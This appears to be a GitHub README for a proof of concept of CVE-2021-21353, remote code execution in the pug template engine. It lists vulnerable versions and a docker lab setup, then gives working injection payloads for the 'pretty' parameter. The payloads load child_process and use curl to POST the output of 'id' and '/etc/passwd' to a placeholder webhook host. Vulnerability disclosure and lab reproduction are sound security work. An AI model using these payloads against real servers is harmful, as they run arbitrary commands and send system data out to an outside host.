jinsu9758/pug-rce-cve-2021-21353-poc
CVE Number: cve-2021-21353
CVSS Score: 8.1
< Vulnerable Versions >
pug_version <= 3.0.0
2.0.3 < pug-code-gen version, 3.0.0 <= pug-code-gen version < 3.0.2
git clone https://github.com/jinsu9758/PUG-RCE-CVE-2021-21353-POC.git
cd PUG-RCE-CVE-2021-21353-POC
sudo docker compose up
※ Accessible via port 3000
Payload test
?pretty=');console.log('executed');//
Final payload
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(id)\" <webhook_site>');_=('
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(cat /etc/passwd)\" <webhook_site>');_=('
